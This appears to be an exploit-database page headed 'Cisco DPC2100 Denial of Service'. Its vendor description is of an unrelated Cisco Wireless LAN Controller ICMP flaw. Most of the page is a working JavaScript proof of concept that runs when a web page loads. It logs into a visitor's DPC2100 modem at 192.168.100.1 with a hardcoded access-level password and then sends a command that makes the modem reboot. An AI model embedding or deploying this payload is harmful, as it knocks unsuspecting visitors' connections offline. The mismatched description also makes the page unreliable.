Nov
16
2012

Cisco DPC2100 Denial of Service

Unspecified vulnerability in Cisco Wireless LAN Controller (WLC) software 6.0 before 6.0.200.0, 7.0 before 7.0.98.216, and 7.0.1xx before 7.0.112.0 allows remote attackers to cause a denial of service (device reload) via a sequence of ICMP packets, aka Bug ID CSCth74426.

Solution: Upgrade to the version specified in the vendor advisory or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Vulnerability (Only for test):

# Exploit Title: Cisco DPC2100 Denial of Service
# Date: 09/01/2010
# Author: Daniel Smith
# Software Link: http://www.cisco.com/
# Version: HW:2.1/SW:v2.0.2r1256-060303
# Tested on: OSX 10.6/Win7
# CVE: CVE-2011-1613

=======================================================
 Information
=======================================================
Executing this script on page load will cause the users modem to restart when
they visit the page. This example uses javascript but can just as easily written
to in another language to accomplish something similar. Attack consists of
two parts.

Part 1 - Privilege Escalation:
POST: http://192.168.100.1/goform/_aslvl
PARAMS: SAAccessLevel=2&SAPassword=W2402

Part 2 - Modem Restart:
POST: http://192.168.100.1/goform/gscan
PARAMS: SADownStartingFrequency=705000000

=======================================================
 Proof of Concept (Javascript)
=======================================================
(function() {
  var b=document.getElementsByTagName('body')[0];
  var otherlib=false;

  if(typeof jQuery!='undefined') {
    console.log('This page already using jQuery v'+jQuery.fn.jquery);
  } else if (typeof $=='function') {
    otherlib=true;
  }
  function getScript(url,success){
    var script=document.createElement('script');
    script.src=url;
    var head=document.getElementsByTagName('head')[0],
        done=false;
    // Attach handlers for all browsers
    script.onload=script.onreadystatechange = function(){
      if ( !done && (!this.readyState
           || this.readyState == 'loaded'
           || this.readyState == 'complete') ) {
        done=true;
        success();
        script.onload = script.onreadystatechange = null;
        head.removeChild(script);
      }
    };
    head.appendChild(script);
  }
  getScript('http://code.jquery.com/jquery-latest.min.js',function() {
    if (typeof jQuery=='undefined') {
      console.log('Sorry, but jQuery wasn\'t able to load');
    } else {
      console.log('This page is now jQuerified with v' + jQuery.fn.jquery);
    $.post("http://192.168.100.1/goform/_aslvl", { SAAccessLevel: "2", SAPassword: "W2402" } );
      console.log('Privilege Escalation: temporarily setting SAAccessLevel to \'2\'.');
    $.post("http://192.168.100.1/goform/gscan", { SADownStartingFrequency: "705000000" } );
      console.log('Reboot command sent.');
    }
  });
})();

References:

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